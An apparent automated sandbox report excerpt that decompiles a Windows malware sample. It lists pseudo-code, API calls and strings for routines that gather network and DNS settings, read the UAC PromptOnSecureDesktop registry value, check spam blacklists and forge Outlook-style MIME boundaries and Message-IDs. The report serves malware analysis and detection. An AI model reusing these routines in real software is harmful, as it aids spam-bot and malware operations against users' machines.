123.45.67.89, xrefs: 004019A6
GetAdaptersInfo, xrefs: 004019DC
localcfg, xrefs: 004019A3
GetBestInterface, xrefs: 004019EF
Iphlpapi.dll, xrefs: 004019B7
~3u`y3up2u, xrefs: 004019B1

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~3u`y3up2u
API String ID: 835516345-1317286920
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00578578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 00578643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 00578664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 00578691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 0057869A

Strings

PromptOnSecureDesktop, xrefs: 0057859F, 0057862E, 005786A6, 005786F1, 005787AE, 005787FB, 005788D2, 005788EE
", xrefs: 00578955

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: 1e9117df13aa37d9ee147a703ce7cb5663d790e189e6c6c1c0a55adbd7d740fc
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: 78C180B1940249BEEB11EBA4ED8DEFE7F7CFB04300F148465F609E2051EA714A94AB65

Uniqueness

Uniqueness Score: -1.00%

Function 00572CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00572CD6
socket.WS2_32(00000002,00000002,00000011), ref: 00572CF0
htons.WS2_32(00000000), ref: 00572D2B
select.WS2_32 ref: 00572D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 00572D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00572E4B

Strings

p2u, xrefs: 00572F17

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p2u
API String ID: 127016686-1441537569
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: ad40be58d589e2d31bbb859ba8c216eb7f316e396572eab79069498d6b400d6c
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 5D61CF71908305ABD7209F65EC09B7BBFFCFB88350F048819F94C97151D7B59880ABA6

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,74E5EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

GetNetworkParams, xrefs: 00402E28
Mt, xrefs: 00402E01
~3u`y3up2u, xrefs: 00402E93
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$Mt$~3u`y3up2u
API String ID: 929413710-4203848216
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 005714D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 005715EA
lstrlenW.KERNEL32(-00000003), ref: 005717C1

Strings

@, xrefs: 005715D0
, xrefs: 005716B2
<, xrefs: 005715C8
D, xrefs: 00571816

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: 105a9388900fb681309d64402ae028d16fc8d6e7add93fb845761e0ac9071b6d
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: ABF1A0B11087419FD720DF68D888BABBBE5FB88300F00892DF69AD7250D7B4D944DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0057764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 005776C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 00577740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 00577778
___ascii_stricmp.LIBCMT ref: 0057789D
RegCloseKey.ADVAPI32(?), ref: 00577937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00577956
RegCloseKey.ADVAPI32(?), ref: 00577967
RegCloseKey.ADVAPI32(?), ref: 00577995
RegCloseKey.ADVAPI32(?), ref: 00577A3F

Part of subcall function 0057F3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,00577713,?), ref: 0057F3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 005779DF
RegCloseKey.ADVAPI32(?), ref: 00577A36

Strings

PromptOnSecureDesktop, xrefs: 005776AE, 005776B3, 005776CE, 0057776B, 005777CF, 0057784B, 00577864, 005779AB
", xrefs: 005777E9

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: 959703685b244ea04ee5b59a5ff58b2d8e3817df5e16bfd8881fe3d5a89fb96f
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: 9CC1757190420AAFDB11DBA4FC49FEE7FB9FF49310F1084A5F508E6151DA709A94EB60

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s%d, xrefs: 0040AE58
%OUTLOOK_MID, xrefs: 0040AEAE
%OUTLOOK_HST, xrefs: 0040AEC5
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
127.0.0.1, xrefs: 0040ADEB

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 00579576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00579590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 005795BE
GetModuleFileNameA.KERNEL32(00000000), ref: 005795C5
wsprintfA.USER32 ref: 0057961E
wsprintfA.USER32 ref: 0057965C
wsprintfA.USER32 ref: 005796DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 00579741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00579776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 005797C1

Strings

PromptOnSecureDesktop, xrefs: 005795ED, 0057960D, 0057964B, 0057966C, 0057969F, 005796C8, 005796EA, 0057971D, 00579769, 005797A0

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: 8d3d142732f729dfe0c08f0fad276bb47c849fe9be5ce4072f65192f1cf63da5
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: D1A160B1900209AFEB25DFA0EC49FDE3FACFB45340F108026FA0996152E775D984DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00434B45, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434B49
_strlen.LIBCMT ref: 00434B79
_write_multi_char.LIBCMTD ref: 0043531E
_write_string.LIBCMTD ref: 00435339
_write_multi_char.LIBCMTD ref: 00435365
_wctomb_s.LIBCMTD ref: 004353E2

Strings

xD@, xrefs: 00434B6C
-, xrefs: 004352BE

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$xD@
API String ID: 2232461714-1745409720
Opcode ID: 71ec8c283e454172c5ce321121fe66426b90f2ae2456828c39bd8599e32c207d
Instruction ID: ddca1fafcc1caa13b2e53356d3d3f369e090d7ba903144317b29045f341f3497
Opcode Fuzzy Hash: 71ec8c283e454172c5ce321121fe66426b90f2ae2456828c39bd8599e32c207d
Instruction Fuzzy Hash: 55A17C70D016289FDB64CF54CC49BEEB7B1BB98305F1491DAE4086B281E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00571FE6, Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00572016
GetSystemInfo.KERNEL32(?), ref: 00572038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 00572053
GetProcAddress.KERNEL32(00000000), ref: 0057205A
GetCurrentProcess.KERNEL32(?), ref: 0057206B
GetTickCount.KERNEL32 ref: 00572219

Part of subcall function 00571E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 00571E65

Strings

flags_upd, xrefs: 0057208E, 00572093, 005720CC
localcfg, xrefs: 0057207A, 00572081, 00572094, 005720CD, 005720DC, 00572102, 00572121, 00572137, 0057214F, 0057216C, 00572184, 005721A0, 005721C0
hi_id, xrefs: 00572166, 0057216B, 00572183
work_srv, xrefs: 005720AE
0t, xrefs: 00572219

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-2138632659
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 8444ec6c5750c6f39765c1086928542f4ae1b4e815a080b92dee2f03122cf18b
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: 8451E3B09043486FE330AF65AC8AF67BFECFB85704F00886DB95E82142D6B4A944D765

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,74B5F210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4
rbl_bl, xrefs: 00402181
net_type, xrefs: 004021DF
0t, xrefs: 00402072
rbl_ip, xrefs: 0040218F

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: 0t$localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-2836909627
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
